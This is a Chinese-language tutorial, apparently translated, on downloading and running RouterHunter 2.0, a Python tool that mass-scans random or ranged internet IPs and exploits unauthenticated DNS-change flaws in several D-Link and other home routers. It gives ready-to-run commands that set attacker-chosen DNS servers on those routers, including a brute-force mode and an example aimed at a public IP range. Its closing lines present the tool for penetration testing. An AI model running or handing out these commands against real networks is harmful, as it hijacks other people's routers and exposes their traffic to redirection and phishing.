0x00 前言
我们会介绍一款自动挖掘路由器漏洞的测试工具,它能够自动化在互联网大范围搜索包含漏洞的路由,进行测试、进一步确认这些漏洞问题,其中会涉及D-link 的多款路由器。该工具是采用python 2.X写的,因此我们最好使用python2.7 来运行它,所以希望提前安装好相关的环境。当然我是在kali-linux 下直接运行的,因为该款操作系统是预先安装好了测试环境的。
0x01 下载
1 github 下载地址 https://github.com/jh00nbr/Routerhunter-2.0 我们可以点击" Download ZIP " 进行下载
2 我们将该压缩包 下载到 根目录下, 即是/root/Routerhunter-2.0-master.zip, 然后我们解压在 同一个目录下,即是 /root/Routerhunter
3 我们进入该目录root@kali:~/Routerhunter#
4 运行该程序root@kali:~/Routerhunter# python routerhunter.py -h
5 我们可以看到相关的使用介绍
0x02 介绍
RouterhunterBR 是一个 自动化安全工具,它能够搜索并且自动化测试互联网上路由器的漏洞,Routerhunter 旨在通过互联网去探索自定义的IP地址或者任意的IP地址以便自动地攻击这些家庭路由器中的DNS篡改漏洞,这个脚本能够测试路由器上的四种漏洞
1 Shuttle Tech ADSL Modem-Router 915 WM 上的未授权远程DNS篡改 #更多详细信息,请参考http://www.exploit-db.com/exploits/35917/
2 D-Link DSL-2740R上的未授权远程DNS篡改 #更多详细信息,请参考
http://www.exploit-db.com/exploits/35917/
3 D-Link DSL-2640B上的未授权远程DNS篡改 #更多详细信息,请参考
http://1337day.com/exploit/23302/
4 D-Link DSL-2780B DLink_1.01.14 的未授权远程DNS篡改 #更多详细信息,请参考
https://www.exploit-db.com/exploits/37237/
5 D-Link DSL-526B ADSL2+ AU_2.01的未授权远程DNS篡改 #更多详细信息,请参考
https://www.exploit-db.com/exploits/37241/
6 DSLink 260E的未授权远程DNS篡改 #更多详细信息,请参考
http://blog.inurl.com.br/2015/03/dslink-260e-defaut-passwords-dns-change_17.html
0x03 安装要求
1 在我们python当中,能够导入如下库
sys, os, argparse, itertools, requests, random, time, threading, base64, socket,datetime
2 如果没有这些库,可以采用如下的任意方式安装
pip install datetime
apt-get install datetime
easy_install datetime
0x04 使用
1 使用说明
optional arguments: # 可选的参数
-h, --help show this help message and exit # 显示这个帮助信息,然后退出程序
-range 192.168.1.0-255, --range 192.168.1.0-255 Set range of IP #定义需要扫描的IP地址范围。例如 --range 192.168.1.0-255, 可以扫描这个IP段
-bruteforce, --bruteforce Brute force with users and passwords on routers that requires authentication, forcing alteration of dns.
# 暴力破解需要认证的路由器,迫使这些路由器修改DNS
-startip 192.168.*.*, --startip 192.168.*.* Start - IP range customized with wildcard / 201.*.*.* # 使用掩码的来定义开始IP地址范围,例如 192.168.*.*
-endip 192.168.*.*, --endip 192.168.*.* End - IP range customized with wildcard / 201.*.*.* # 使用掩码的来定义结束IP地址范围,例如 192.168.*.*
-dns1 8.8.8.8, --dns1 8.8.8.8 Define malicious dns1 #定义第一个恶意的DNS,例如可以把这些路由器的DNS改成8.8.8.8
-dns2 8.8.4.4, --dns2 8.8.4.4 Define malicious dns2 #定义第二个恶意的DNS,例如可以把这些路由器的DNS改成8.8.8.8
--threads 10 Set threads numbers #设置请求线程数目
-rip, --randomip Randomizing ips routers #随机定义网络上的路由器IP
-lmtip 10, --limitip 10 Define limite random ip # 定义一定数目的任意IP地址
2 使用案例
扫描任意IP:
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10
扫描一段IP范围:
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --range 192.168.25.0-255 --threads 10
使用掩码的形式进行扫描:
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --startip 192.168.*.* --endip 192.168.*.* --threads 10
暴力破解需要认证的路由器
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.4 --range 177.106.19.65-70 --bruteforce --threads 10
3 使用结果截图
0x05 总结
1 这个脚本可以用于路由器的渗透测试。
2 在进行路由器安全评估的时候,我们也可以使用这个脚本对其安全性进行检查
3 这是国外一款渗透测试工具的中文译文!请大家多多指教 ^^_^^